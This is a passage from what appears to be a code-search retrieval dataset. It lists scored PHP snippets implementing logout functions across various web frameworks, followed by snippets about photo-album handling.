=== \"on\") {\n\t\techo '<li class=\"navigation-item\">';\n\t\techo '<a class=\"navigation-link\" id=\"logout_btn\" href=\"./logout.php\" title=\"Logout from application\">Logout</a>';\n\t\techo '</li>';\n\t}\n}", "title": "" }, { "docid": "470a787a63564131dd0fcab4715a0eb5", "score": "0.5910907", "text": "public function Logout()\t{\r\n\t\tphpCAS::logoutWithUrl(site_url());\r\n\t}", "title": "" }, { "docid": "13452a465fc715aadda9a209500b3738", "score": "0.5905183", "text": "public function logoutLink($options): string\n {\n $options = shortcode_atts(\n [\n 'redirect_to' => '/',\n 'label' => 'Logout'\n ],\n $options\n );\n\n $url = (string)apply_filters(\n $this->getPrefixedName('link_url'),\n $this->logoutUrl($options)\n );\n\n $label = (string)apply_filters(\n $this->getPrefixedName('link_label'),\n $options['label']\n );\n\n ob_start();\n do_action($this->getPrefixedName('link_before'));\n ?>\n <a href=\"<?= esc_attr($url) ?>\"><?= esc_html($label) ?></a>\n <?php\n do_action($this->getPrefixedName('link_after'));\n $contents = ob_get_contents();\n ob_end_clean();\n\n return (string)apply_filters(\n $this->getPrefixedName('link'),\n $contents\n );\n }", "title": "" }, { "docid": "bdc70587631de33d251b8ad97b49313d", "score": "0.59031236", "text": "function _mw_adminimize_add_user_logout( $wp_admin_bar ) {\n\n\t$user_id = get_current_user_id();\n\t$current_user = wp_get_current_user();\n\t$_mw_adminimize_ui_redirect = (int) _mw_adminimize_get_option_value( '_mw_adminimize_ui_redirect' );\n\t$redirect = '';\n\tif ( 1 === $_mw_adminimize_ui_redirect ) {\n\t\t$redirect = '&amp;redirect_to=' . get_option( 'siteurl' );\n\t}\n\n\tif ( ! $user_id ) {\n\t\treturn;\n\t}\n\n\t$user_info = $current_user->display_name;\n\n\t$wp_admin_bar->add_menu(\n\t\tarray(\n\t\t\t'id' => 'mw-account',\n\t\t\t'parent' => 'top-secondary',\n\t\t\t'title' => $user_info . ' ' . esc_attr__( 'Log Out' ),\n\t\t\t'href' => wp_logout_url() . $redirect,\n\t\t)\n\t);\n}", "title": "" }, { "docid": "09d481bbefbf9d73753bfe12432302eb", "score": "0.5901021", "text": "public function logOut() {\n\t\t$this->_logout();\n\t\tBaseRedirect($this->getConfig('locations.post_logout'));\n\t}", "title": "" }, { "docid": "6a498c69859cbbcb0c3a9792af1f066b", "score": "0.58990455", "text": "public function i_logout()\n\t{\n\t\t$this->logout();\n\t}", "title": "" }, { "docid": "a084a1f534100197b144c453a7b22e45", "score": "0.58929896", "text": "public function logout();", "title": "" }, { "docid": "a084a1f534100197b144c453a7b22e45", "score": "0.58929896", "text": "public function logout();", "title": "" }, { "docid": "a084a1f534100197b144c453a7b22e45", "score": "0.58929896", "text": "public function logout();", "title": "" }, { "docid": "a084a1f534100197b144c453a7b22e45", "score": "0.58929896", "text": "public function logout();", "title": "" }, { "docid": "a084a1f534100197b144c453a7b22e45", "score": "0.58929896", "text": "public function logout();", "title": "" }, { "docid": "a084a1f534100197b144c453a7b22e45", "score": "0.58929896", "text": "public function logout();", "title": "" }, { "docid": "c5526ed5bd22b6f4e2a4e1059ff4faca", "score": "0.587777", "text": "function logout()\n {\n\n $this->data['title'] = \"Logout\";\n\n // log the user out\n $logout = $this->user_model->logout();\n header('Location: ' . $_SERVER['HTTP_REFERER']);\n exit;\n }", "title": "" }, { "docid": "1912f0b7242391ca20340e4babc35503", "score": "0.5875378", "text": "public function getLogoutUrl() { \r\n\t\t\t$objLogoutUrl = new URL(URL::getCanonicalUrl());\r\n\t\t\t$objLogoutUrl->clearAttribute();\r\n\t\t\t$objLogoutUrl->setAttribute('logout', 'true');\r\n\t\t\treturn($objLogoutUrl->build()); \r\n\t\t}", "title": "" }, { "docid": "da3e9cb316bd490c6037b02d9d539cc3", "score": "0.58215404", "text": "public function logoutAction()\n {\n $this->admin->logout();\n }", "title": "" }, { "docid": "2f449154f8844a0c25a368684d2b96a2", "score": "0.5793686", "text": "function hook_top_menu() {\n\t\treturn array(\n\t\t\t\"logout\" => array($this->l(\"user/logout\", \"Logout\"), 4)\n\t\t\t);\n\t}", "title": "" }, { "docid": "c8bac51baef5ffa272ae6e9982cac8c4", "score": "0.5792715", "text": "function _mw_adminimize_set_logout_menu() {\n\n\tif ( ! is_user_logged_in() ) {\n\t\treturn;\n\t}\n\n\t// exclude super admin\n\tif ( _mw_adminimize_exclude_super_admin() ) {\n\t\treturn;\n\t}\n\n\t// Leave the settings screen from Adminimize to see all areas on settings.\n\tif ( _mw_adminimize_exclude_settings_page() ) {\n\t\treturn;\n\t}\n\n\t$user_roles = _mw_adminimize_get_all_user_roles();\n\n\tforeach ( $user_roles as $role ) {\n\t\t$disabled_menu_[ $role ] = _mw_adminimize_get_option_value(\n\t\t\t'mw_adminimize_disabled_menu_' . $role . '_items'\n\t\t);\n\t\t$disabled_submenu_[ $role ] = _mw_adminimize_get_option_value(\n\t\t\t'mw_adminimize_disabled_submenu_' . $role . '_items'\n\t\t);\n\t}\n\n\t$_mw_adminimize_user_info = (int) _mw_adminimize_get_option_value( '_mw_adminimize_user_info' );\n\t// change user-info\n\tswitch ( $_mw_adminimize_user_info ) {\n\t\tcase 1:\n\t\t\tadd_action( 'wp_before_admin_bar_render', '_mw_adminimize_remove_my_account' );\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tadd_action( 'wp_before_admin_bar_render', '_mw_adminimize_remove_my_account' );\n\t\t\tadd_action( 'admin_bar_menu', '_mw_adminimize_add_logout', 0 );\n\t\t\tadd_action( 'wp_head', '_mw_adminimize_admin_bar_style' );\n\t\t\tadd_action( 'admin_head', '_mw_adminimize_admin_bar_style' );\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tadd_action( 'wp_before_admin_bar_render', '_mw_adminimize_remove_my_account' );\n\t\t\tadd_action( 'admin_bar_menu', '_mw_adminimize_add_user_logout', 0 );\n\t\t\tadd_action( 'wp_head', '_mw_adminimize_admin_bar_style' );\n\t\t\tadd_action( 'admin_head', '_mw_adminimize_admin_bar_style' );\n\t\t\tbreak;\n\t}\n}", "title": "" }, { "docid": "147b22b1c7aafdd2d9355cfaa584cc74", "score": "0.5787936", "text": "public function logout() {\n\t\tsession_destroy();\n\t\t// perform a redirection. More or less:\n\t\t// header(\"Location: logIn.php?controller=users&action=users\")\n\t\t// die();\n\t\t$this->view->redirect(\"main\", \"index\");\n\t}", "title": "" }, { "docid": "17cf460ceec587189db7c33270925d99", "score": "0.577312", "text": "public function logout() {\n $action_redirects = $this->getRedirects();\n\t\t\n Auth::clear('minerva_user');\n\t\tFlashMessage::write('You\\'ve successfully logged out.', array(), 'minerva_admin');\n $this->redirect($action_redirects['logout']);\n }", "title": "" }, { "docid": "a2360b59150844bac5509693dd9630f8", "score": "0.5767127", "text": "public function logout(){\n // Logs the user out and redirects them to the homepage.\n $redirect = portal_url();\n $this->user->logout($redirect);\n }", "title": "" }, { "docid": "7b83bac20088d205581492fb0a9ce905", "score": "0.5756602", "text": "public function getLogoutUrl()\n {\n return $this->baseUrl . \"common\" . $this->route . \"logout\";\n }", "title": "" }, { "docid": "993df349a65b997d405efdc205bb97c9", "score": "0.57538044", "text": "protected function _logout(){\n //ok, so this person is actually logged in\n if($this->authorization->isLoggedIn()){\n $this->authorization->logout();\n }else{ //not really logged in, don't log out!\n $url = str_replace(\"action=logout\",'',current_url());\n $this->_redirect($url); \n }\n }", "title": "" }, { "docid": "bac4e18574fc08e50ce589ed63852142", "score": "0.57401913", "text": "protected function getTemplating_Helper_LogoutUrlService()\n {\n return $this->services['templating.helper.logout_url'] = new \\Symfony\\Bundle\\SecurityBundle\\Templating\\Helper\\LogoutUrlHelper($this->get('security.logout_url_generator'));\n }", "title": "" }, { "docid": "a7db2ab1d8e30e983a9700eee36458b9", "score": "0.5737543", "text": "public function getLogoutUrl() {\n return $this->logout_url;\n }", "title": "" }, { "docid": "59d792e5d04a0125f559fc0164e32f20", "score": "0.57319826", "text": "public function getLogoutUrl()\n {\n // the URL params to append\n $params = array(\n 'path' => '/login',\n 'method' => 'logout'\n );\n // returns the URL\n return $this->getUrl($params);\n }", "title": "" }, { "docid": "e30ffa4690c2076414e1ec32473e153f", "score": "0.57299745", "text": "function logout() {\n $data['message_element'] = \"view_home\";\n $data[\"title\"] = \"CLone of Air BNB\";\n $this->dx_auth->logout();\n $data['auth_message'] = 'You have been logged out.';\n\n redirect('/home/signin', 'refresh');\n }", "title": "" }, { "docid": "d999bbff37f6ebfea6cede1d5a42896f", "score": "0.57172", "text": "function admin_logout()\n {\n $this->generateCookie('eim_admin','[]', time()-3600);\n }", "title": "" }, { "docid": "b395456d5821cbc492eea7048272a927", "score": "0.57139766", "text": "public function logout() {\n\t\tsession_unset();\n\t\treturn [\n\t\t\t'template' => 'logout.html.php',\n\t\t\t'title' => 'You have been logged out'];\n\t}", "title": "" }, { "docid": "f5d1b92d688de11c596b6833fd0fd949", "score": "0.57116777", "text": "public function getLogoutUrl()\n\t{\n\t\treturn $this->object->getLogoutUrl();\n\t}", "title": "" }, { "docid": "6fe288cc5e9c068f665383697b983211", "score": "0.5697115", "text": "function logout()\n\t{\n\t\t//log the users out\n\t\t$logout = $this->ion_auth->logout();\n\t\tredirect('welcome/home', 'refresh');\n\t}", "title": "" }, { "docid": "3e52115a4684136361b3c53c44cd0d76", "score": "0.5696695", "text": "function logout()\r\n {\r\n $this->fal_front->logout();\r\n }", "title": "" }, { "docid": "8bc8657894a743ad932956b257084c6e", "score": "0.5694966", "text": "function sso_logout() {\n\tglobal $current_user;\n\t$sso=new sso_connect();\n\t$sso->connect('logout');\n}", "title": "" }, { "docid": "c94a3de17bc4b91683d0197ecabb3c7f", "score": "0.5691228", "text": "public function logout(){\n return 'loging out ...';\n }", "title": "" }, { "docid": "60d1fdae85fe07723d59432cc52c4411", "score": "0.56784195", "text": "function sso_footer() {\n\t$redirect=get_permalink();\n\t$loginUrl=sso_connect::login_url($redirect);\n\t$content=sso_connect::frame($redirect,$loginUrl);\n\techo $content;\n}", "title": "" }, { "docid": "bab873443a73b6d8a65c7decde365f7c", "score": "0.5667974", "text": "protected function _logout() {\n\t\t\n\t\t$this->_query('service', SHCSSO_SERVICE_URL . '?' . SHCSSO_QUERYSTRING_PARAM . '=_logout_execute')\n\t\t\t->_url();\n\t\t\n\t\tSSO_Utils::view('redirect', array('url' => $this->url));\n\t\t\n\t}", "title": "" }, { "docid": "15385f9af7b78d76ee6d65f8220c8a83", "score": "0.56647414", "text": "public function logout()\n {\n return '<form id=\"form\" action=\"'.url('logout').'\" method=\"POST\">'.csrf_field().'</form>'\n .'<script>document.getElementById(\"form\").submit()</script>';\n }", "title": "" }, { "docid": "0e8be508a3c5c80ce20102da28a8a5f1", "score": "0.5660299", "text": "private function generateLogoutHTML(): string {\n return '\n\t\t\t<form method=\"post\" >\n\t\t\t\t<p id=\"'.self::$messageId.'\">'.$this->getLogoutMessage().'</p>\n <input type=\"submit\" name=\"'.self::$logoutId.'\" value=\"logout\"/>\n\t\t\t</form>\n\t\t';\n }", "title": "" }, { "docid": "b6b1c07a533db33768521a2746936947", "score": "0.56585515", "text": "public function lastLogout();", "title": "" }, { "docid": "89ee078c38e8c05b7fc2bc91e542ab6d", "score": "0.5658091", "text": "function urlLogout()\r\n{\r\n return base_url() . 'logout';\r\n}", "title": "" }, { "docid": "9e13f97e078a243b4e94746090f1b99c", "score": "0.56481844", "text": "function sixscan_menu_widget_function() {\n\t/* Create dashboard frame with settings redirect request */\n\tsixscan_menu_create_dashboard_frame( SIXSCAN_COMMON_DASHBOARD_URL_WIDGET );\n}", "title": "" }, { "docid": "38ab669474fc182847bb03a5cbba78f4", "score": "0.56449515", "text": "public function logoutAction()\n {\n $userId = Zend_Auth::getInstance()->getIdentity();\n\n // Set up the auth adapter\n $authAdapter = new Ot_Model_DbTable_AuthAdapter();\n\n $adapter = $authAdapter->find($userId->realm);\n\n $className = (string)$adapter->class;\n $auth = new $className();\n $auth->autoLogout();\n\n Zend_Auth::getInstance()->clearIdentity();\n\n $this->_helper->redirector->gotoRoute(array(), 'default', true);\n\n }", "title": "" }, { "docid": "8537169253c2d7296ff4eb61b1295e02", "score": "0.56417537", "text": "function logout() {\n\t\t\t\t $this->redirect($this->Auth->logout());\n\t\t}", "title": "" }, { "docid": "343375997a6ae83b89497c64e242ccba", "score": "0.56408876", "text": "function customizations_remove_add_links() {\n\tif (isloggedin()) {\n\t\tif (customizations_is_new_user()) {\n\t\t\t// remove bookmark links\n\t\t\tremove_submenu_item(elgg_echo('bookmarks:add'));\n\t\t\tremove_submenu_item(elgg_echo('bookmarks:bookmarklet'));\n\t\t\tremove_submenu_item(elgg_echo('bookmarks:bookmarklet:group'));\n\n\t\t\t// pages links\n\t\t\tremove_submenu_item(elgg_echo('pages:new'), 'pagesactions');\n\t\t\tremove_submenu_item(elgg_echo('pages:welcome'), 'pagesactions');\n\t\t}\n\t}\n}", "title": "" }, { "docid": "18f919ea1bc5b5969906a20180667bdd", "score": "0.5630896", "text": "public function action_logout()\n\t{\n\t\t\\Auth::dont_remember_me();\n\n\t\t// logout\n\t\t\\Auth::logout();\n\n\t\t// and go back to where you came from (or the application\n\t\t// homepage if no previous page can be determined)\n\t\t\\Response::redirect_back();\n\t}", "title": "" }, { "docid": "fa48935bd95ffc779b15b4b16ee17385", "score": "0.56264263", "text": "public function getLogout()\n\t{\n\t\tAuth::logout();\n\t}", "title": "" }, { "docid": "1dd8ebc1f3cbb065f13cb8578405d6ed", "score": "0.5624707", "text": "function logoutAction() {\n\t\t$usuarios = new Zend_Session_Namespace(\"usuarios\");\n\t\t// Cria a sessao do carrinhi\n\t\t$carrinho = new Zend_Session_Namespace(\"carrinho\");\n\n\t\t// Destroi a sessão do usuário no site\n\t\tZend_Session::namespaceUnset(\"usuarios\");\n\t\t// Destroi a sessão do usuário no site\n\t\tZend_Session::namespaceUnset(\"carrinho\");\n\t\t// Destroi a sessão do usuário no site\n\t\tZend_Session::namespaceUnset(\"promocoes\");\n\n\t\t// Destroi a sessão do usuário no site\n\t\tZend_Session::namespaceUnset(\"fretes\");\n\n\t\t// Redireciona\n\t\t$this->_redirect(\"/todos-produtos\");\n\t}", "title": "" }, { "docid": "c86ad25e46bb9833d96fae5876a18991", "score": "0.56155115", "text": "function logout_page() {\n\t\t\tglobal $page_id;\n\t\t\t$login_page = home_url('/login');\n\t\t\t\twp_redirect( $login_page . \"?login=false\" );\n\t\t\t\t\texit;\n\t\t}", "title": "" }, { "docid": "a802e3d9f0f261e1657eb6915733a6e2", "score": "0.5609324", "text": "public function actionLogout()\n\t{\n\t $this->layout = 'fretoinner';\n\t\tYii::app()->user->logout();\n\t\t$this->redirect(Yii::app()->homeUrl);\n\t}", "title": "" }, { "docid": "7bc18b9fb28635c9a6bd6b89d30fc91b", "score": "0.56074995", "text": "function display_links_footer() {\r\n $this->set_links_footer();\r\n \r\n // Pour ne pas afficher de lien vers la page en cours\r\n if (isset($this->links_footer[_URL_COURANTE])) {\r\n unset($this->links_footer[_URL_COURANTE]);\r\n }\r\n \r\n\t\t$count_links = count($this->links_footer);\r\n\t\tif ($count_links) {\r\n echo '<div id=\"links_footer_container\" style=\"padding:10px 3px;margin:12px 3px;\">';\r\n $count = 0;\r\n foreach ($this->links_footer as $href => $lbl) {\r\n echo '<a href=\"'.$href.'\">'.$lbl.'</a>';\r\n $count++;\r\n if ($count != $count_links) {\r\n echo ' | ';\r\n }\r\n }\r\n echo '</div>';\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "1eef87c55309e52787ec70e13ce5d637", "score": "0.5600736", "text": "public function logoutAction()\n {\n Zend_Auth::getInstance()->clearIdentity();\n $this->_helper->redirector('index');\n }", "title": "" }, { "docid": "1eef87c55309e52787ec70e13ce5d637", "score": "0.5600736", "text": "public function logoutAction()\n {\n Zend_Auth::getInstance()->clearIdentity();\n $this->_helper->redirector('index');\n }", "title": "" }, { "docid": "7a724fafa193d7ef26218ab3b70f35db", "score": "0.55947906", "text": "function add_link_unregistration() {\r\n\t//return __(\"If you want to unregister from this event, click on the following link after login.\", 'bookable-events').\"<br/><a href='$PHP_SELF?click_unregister=true&post=\".get_the_ID().\"'>\".__(\"Unregister!\", 'bookable-events').\"</a>\";\r\n\treturn __(\"If you want to unregister from this event, click on the following link after login.\", 'bookable-events').\"<br/><a href='$PHP_SELF?click_unregister=true&p=\".get_the_ID().\"'>\".__(\"Unregister!\", 'bookable-events').\"</a>\";\r\n}", "title": "" }, { "docid": "cf601eb57f51f8f07bf4f9e2e2102422", "score": "0.5592289", "text": "public function logoutAction()\r\n {\r\n $auth = \\Mjoelnir_Auth::getInstance();\r\n $auth->cancel();\r\n\r\n header('Location: ' . WEB_ROOT . 'user/login');\r\n exit();\r\n }", "title": "" }, { "docid": "a9da894acfc82121db0b6adb74e69cea", "score": "0.55894476", "text": "function logout() {\n $this->data['title'] = \"Logout\";\n //log the user out\n $logout = $this->ion_auth->logout();\n //redirect them to the login page\n $this->prepare_flashmessage($this->ion_auth->messages(), 0);\n //redirect('auth/login', 'refresh');\n redirect(base_url());\n }", "title": "" }, { "docid": "585107156415d3e0ebb6cdda41bafb1f", "score": "0.55875766", "text": "public function logout(){\n\t\t// the active state is dependent to this SESSION we are setting.\n\t\tunset($_SESSION['menu_active']);\n\n\t\t$this->view('admin/index');\n\t}", "title": "" }, { "docid": "e892af27fb6408477d18a6592c87294d", "score": "0.5586917", "text": "function showFooter() \n {\n echo \"<ul>\";\n echo \"<li><a href='/flatnet2/informationen/impressum.php'>Impressum</a></li>\";\n echo \"<li><a href='/flatnet2/informationen/quellen.php'>Quellen</a></li>\";\n if ($this->userHasRight(36, 0) == \"true\") {\n echo \"<li><a href='/flatnet2/admin/control.php'>Admin</a></li>\";\n echo \"<li><a href='/flatnet2/informationen/dokumentation.php'>Dokumentation</a></li>\";\n } else {\n echo \"<li><a href='/flatnet2/informationen/kontakt.php'>Kontakt</a></li>\";\n }\n echo \"</ul>\";\n }", "title": "" }, { "docid": "13d03d89f6924e4d9fbff758bdb5b0d5", "score": "0.5581138", "text": "public function actionLogout()\n\t{\n\t\t$defaultUrl = Yii::app()->getRequest()->getUrlReferrer();\n\t\tif ($defaultUrl &&(strpos($defaultUrl,'user/login')===false))\n\t\t{\n\t\t\tYii::app()->user->setState('login_from_url',$defaultUrl);\n\t\t}\t\t\n\t\tYii::app()->user->logout();\n\t\t$this->redirect(Yii::app()->controller->module->returnLogoutUrl);\n\t}", "title": "" }, { "docid": "048e46d0feed2fe137ff1619a4473c86", "score": "0.5579175", "text": "function lb_logout() {\n\tif ( ! isset( $_GET['logout'] ) ) {\n\t\treturn;\n\t}\n\n\tunset( $_SESSION['login'] );\n\theader( 'Location:?action=admin' );\n\tdie();\n}", "title": "" }, { "docid": "0bd7ffe4ec7dd75831affaa786bebfab", "score": "0.55759066", "text": "public function action_logout()\n {\n if ($this->auth->logged_in())\n {\n $this->auth->logout();\n }\n\n // Redirect to the index page\n $this->request->redirect(Route::get('default')->uri(array('action' => 'signin')));\n }", "title": "" }, { "docid": "073119f14a50ab924dc9ace6cea49016", "score": "0.55736953", "text": "function userLogout($url=\"\",$id=\"\",$alias=\"\") {\n // And combination of the following variables can be sent\n // Defaults to index.php in the current directory\n // $url = any fully qualified URL (no validation performed)\n // $id = an existing document ID (no validation performed)\n // $alias = any document alias (no validation performed)\n if($url == \"\") {\n if($alias == \"\") {\n $id = ($id != \"\") ? $id : $this->documentIdentifier;\n $rs = $this->getDocument($id,'alias');\n $alias = $rs['alias'];\n } else {\n $id = 0;\n }\n $url = $this->makeURL($id,$alias);\n }\n if($url != \"\") {\n include_once(\"manager/processors/logout.processor.php\");\n }\n }", "title": "" }, { "docid": "66f22340010b863074bf4d74dc8cf03c", "score": "0.5565616", "text": "function logout() {\n\t\t\n\t\t$this->controller->autoRender = false;\n\t\t$this->controller->Auth->logout();\n\t\t\n\t\t# MAKE SURE ALL OTHER UAC MODELS ARE REMOVED FROM SESSION \n\t\t$this->controller->Session->delete('Auth');\n\t\t$this->controller->redirect($this->controller->Auth->logoutRedirect);\n\t\t\n\t}", "title": "" }, { "docid": "363679325b5c09c8971b5e82dae44d42", "score": "0.5565585", "text": "public function githubOAuthMenu()\n {\n $this->getOptions();\n global $rd_downloads_options;\n\n if (\n isset($rd_downloads_options['rdd_github_client_id']) &&\n isset($rd_downloads_options['rdd_github_client_secret']) &&\n !empty($rd_downloads_options['rdd_github_client_id']) &&\n !empty($rd_downloads_options['rdd_github_client_secret'])\n ) {\n $hook_suffix = add_submenu_page('rd-downloads', __('GitHub OAuth', 'rd-downloads'), __('GitHub OAuth', 'rd-downloads'), 'upload_files', 'rd-downloads_github_connect', [$this, 'pageIndex']);\n add_action('load-' . $hook_suffix, [$this, 'headerWorks']);\n add_action('load-' . $hook_suffix, [$this, 'adminHelpTab']);\n add_action('admin_print_styles-' . $hook_suffix, [$this, 'registerStyles']);\n add_action('admin_print_styles-' . $hook_suffix, [$this, 'registerScripts']);\n unset($hook_suffix);\n }\n }", "title": "" }, { "docid": "a563c52093c4ee55c2e17a51e086e595", "score": "0.55620193", "text": "public function logoutAction()\n {\n parent::logoutAction();\n $this->redirect('login');\n }", "title": "" }, { "docid": "c992bf575de88273c20231e8101ed011", "score": "0.55559045", "text": "public function adminLogout()\n {\n logOut();\n\n redirect('pages/index');\n }", "title": "" }, { "docid": "1e59acaf8e0ca375c1075347e705d5b9", "score": "0.5551766", "text": "public function logout() {\r\n\t}", "title": "" }, { "docid": "92d588281c308329a27e79416f405634", "score": "0.5550656", "text": "public function ShowLogoutForm() {\n $htmlform = <<<EOD\n <form method=post>\n <fieldset>\n <legend>Logout</legend>\n <p><input type='submit' name='logout' value='logout'/></p>\n \n <output>{$this->output}</output>\n </fieldset>\n </form>\nEOD;\n return $htmlform;\n }", "title": "" }, { "docid": "e6481129e169bb101b038e652e717f8b", "score": "0.55488247", "text": "function sos_wp_loginout($class ='', $redirect = '', $echo = true) {\n if ( ! is_user_logged_in() )\n $link = '<a href=\"' . esc_url( wp_login_url($redirect) ) . '\" class=\"' . $class . '\">' . __('Log In') . '</a>';\n else\n $link = '<a href=\"' . esc_url( wp_logout_url($redirect) ) . '\" class=\"' . $class . '\">' . __('Log Out') . '</a>';\n\n if ( $echo ) {\n /**\n * Filters the HTML output for the Log In/Log Out link.\n *\n * @since 1.5.0\n *\n * @param string $link The HTML link content.\n */\n echo apply_filters( 'loginout', $link );\n } else {\n /** This filter is documented in wp-includes/general-template.php */\n return apply_filters( 'loginout', $link );\n }\n}", "title": "" } ]
286ea99dbdeb1de01e5899736cb73732
Position in the album where the media items are added. If not specified, the media items are added to the end of the album (as per the default value, that is, `LAST_IN_ALBUM`). The request fails if this field is set and the `albumId` is not specified. The request will also fail if you set the field and are not the owner of the shared album. Generated from protobuf field .google.photos.library.v1.AlbumPosition album_position = 4;
[ { "docid": "06b933c43febfbb421db36b38e958b42", "score": "0.68486166", "text": "public function getAlbumPosition()\n {\n return isset($this->album_position) ? $this->album_position : null;\n }", "title": "" } ]
[ { "docid": "e00f9fe05b82eb88effdac72a8f8a580", "score": "0.7357805", "text": "public function setAlbumPosition($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Photos\\Library\\V1\\AlbumPosition::class);\n $this->album_position = $var;\n\n return $this;\n }", "title": "" }, { "docid": "b02e2af1b444761ef70f255f074b53d2", "score": "0.60291624", "text": "public function setAlbumId($var)\n {\n GPBUtil::checkString($var, True);\n $this->album_id = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0567e5d6bf13d5bf906722dd6751d30a", "score": "0.58457786", "text": "public function setAlbums($var)\n {\n $arr = GPBUtil::checkRepeatedField($var, \\Google\\Protobuf\\Internal\\GPBType::MESSAGE, \\Google\\Photos\\Types\\Album::class);\n $this->albums = $arr;\n\n return $this;\n }", "title": "" }, { "docid": "fc7ec8791c73dab737fb0b68140115a8", "score": "0.57947075", "text": "public function getAlbumId()\n {\n return $this->album_id;\n }", "title": "" }, { "docid": "5f121827e9b2bdaa7832e92c57565fd3", "score": "0.57644117", "text": "public function setAlbum(int $album): MediaInterface;", "title": "" }, { "docid": "63a5957c518f1f850a0cb3550380c2ff", "score": "0.5512378", "text": "public function setAlbum($album);", "title": "" }, { "docid": "80b90db6e5594693ab4aba15725a79f0", "score": "0.5438491", "text": "public function albumSearch($album, $limit = 30, $page = 1)\n {\n $this->__setCall('albumSearch');\n\n return $this->__makeCall([\n 'limit' => $limit,\n 'page' => $page,\n 'album' => $album,\n ]);\n }", "title": "" }, { "docid": "a95856dde20f64e3fedcbcf7b4362046", "score": "0.5419519", "text": "private static function getAlbumId(): ?int\n {\n $oHttpRequest = new HttpRequest;\n $iAlbumId = $oHttpRequest->getExists('album_id') ? $oHttpRequest->get(\n 'album_id',\n Type::INTEGER\n ) : null;\n unset($oHttpRequest);\n\n return $iAlbumId;\n }", "title": "" }, { "docid": "4b54f243e8de25ea1acea8df9495106d", "score": "0.5370823", "text": "public function songs_from_album($albumId=NULL, $offset=0, $limit=10){\n $fields = array(\n 'offset' => $offset,\n 'limit' => $limit\n );\n if ($albumId)\n $fields['albumId'] = $albumId;\n \n curl_setopt($this->curl, CURLOPT_COOKIEFILE, time() . $this->_cookie_file);\n curl_setopt($this->curl, CURLOPT_POST, 0);\n //curl_setopt($this->curl, CURLOPT_POSTFIELDS, $post_fields);\n curl_setopt($this->curl, CURLOPT_URL, $this->mapiUrl . 'songs/album?'. http_build_query($fields));\n curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, 1);\n \n $data = json_decode(curl_exec($this->curl));\n\t \n if(isset($data->code) AND $data->code==$this->auth_req_code){\n if (isset($data->message)){\n $this->whichAuthenticate($data->message);\n return $this->songs_from_album($albumId, $offset, $limit);\n }\n }\n \n return $data;\n }", "title": "" }, { "docid": "ad150aaf1d75397e19b3b25ef95faab6", "score": "0.5369503", "text": "public function setAlbumData($album_data);", "title": "" }, { "docid": "b5cfe00cb7dc3c3d0c67cc9f10dde509", "score": "0.52856255", "text": "public function getAlbum(): int;", "title": "" }, { "docid": "3e0a261c80cd9d63d897485108a64ca9", "score": "0.5251105", "text": "public function getAlbumFolder()\n {\n $rootFolder = $this->getRootFolder();\n\n if ($rootFolder === null) {\n return null;\n }\n\n return new \\Folder($rootFolder->path . '/' . $this->albumId);\n }", "title": "" }, { "docid": "8a4319420d599c884bf6d676974d2906", "score": "0.5233811", "text": "public function testGphotoAlbumId()\n {\n $feed = $this->photoFeed;\n\n // Assert that the feed's albumid is correct\n $this->assertTrue($feed->getGphotoAlbumId() instanceof Zend_Gdata_Photos_Extension_AlbumId);\n $this->verifyProperty2(\n $feed,\n \"gphotoAlbumId\",\n \"text\",\n \"1\"\n );\n $this->verifyProperty3(\n $feed,\n \"gphotoAlbumId\",\n \"text\",\n \"1\"\n );\n }", "title": "" }, { "docid": "e0a127129d6685edefbcab6ac6059b7c", "score": "0.522759", "text": "public function getAlbum()\n {\n return $this->album;\n }", "title": "" }, { "docid": "f8899a5e190710620a48882422b414c1", "score": "0.5094272", "text": "public function setAlbum()\n {\n\n $images = scandir($this->dir);\n $ignoredFiles = array(\".\",\"..\",\"/\",\"_notes\", \".DS_Store\", \"thumbs\");\n $folders = array();\n\n foreach ($images as $image) {\n if (!in_array($image, $ignoredFiles)) {\n if (is_dir($this->dir . $image)) {\n if ($this->showAlbums) {\n $folders[] = $image;\n $this->count++;\n }\n\n } else {\n array_push($this->album, $image);\n $this->count++;\n }\n }\n }\n\n if ($folders) {\n arsort($folders);\n\n foreach ($folders as $folder) {\n array_unshift($this->album, $folder);\n\n }\n }\n\n }", "title": "" }, { "docid": "e313c3bc459e7aa29e0898c3c40bbab5", "score": "0.5058939", "text": "public function setParent(Album $albumObject) {\r\n \r\n $this->ParentAlbum = $albumObject;\r\n \r\n return $this;\r\n \r\n }", "title": "" }, { "docid": "3f458f09aef8f4c13a83d39cf33a7ee1", "score": "0.50273997", "text": "public function addAlbum(Album $album) {\n\t\tif ($savedAlbum = $this->dao->getAlbumByGoogleId($album->getGoogleId())) {\n\t\t\treturn $savedAlbum;\n\t\t} else {\n\t\t\treturn $this->dao->saveAlbum($album);\n\t\t}\n\t}", "title": "" }, { "docid": "54e414ebf0e326570aa06cb26c7a7877", "score": "0.49809206", "text": "public function getAlbum()\n {\n\n $this->getPage();\n $this->setLimit();\n $array = array();\n\n for ($i = $this->start; $i < $this->end; $i++) {\n if (isset($this->album[$i])) {\n array_push($array, $this->album[$i]);\n }\n }\n\n return $array;\n\n }", "title": "" }, { "docid": "de754c0212dcb093feac7124bd652654", "score": "0.49705306", "text": "public function mapAlbumSong( array $a = array() ){\r\n\t\tif($a){\r\n\t\t\t$songId=(int)$a['songId'];\r\n\t\t\t$albumIdsArray=$a['albumIds'];\r\n\t\t\tif($songId){\r\n\t\t\t\t$this->sSql = \"DELETE FROM song_album WHERE song_id='\".$songId.\"'\";\r\n\t\t\t\t$resDel = $this->oMysqli->query($this->sSql);\r\n\t\t\t}\r\n\t\t\tif($albumIdsArray){\r\n\t\t\t\tforeach($albumIdsArray as $kT=>$vT){ \r\n\t\t\t\t\t$this->sSql = \"INSERT INTO song_album (`song_id`,`album_id`) VALUES ('\".$songId.\"',\".$vT.\")\";\r\n\t\t\t\t\t$res = $this->oMysqli->query($this->sSql);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "4d25679d8426f13981fb297a6d62a8ea", "score": "0.49573383", "text": "public function album(string $albumId, string $username = 'me'): array\n {\n return $this->requestGet(\"account/{$username}/album/{$albumId}\");\n }", "title": "" }, { "docid": "94cb474602143c6c954ac03ae09808ed", "score": "0.493323", "text": "public function getMyAlbums()\n {\n return 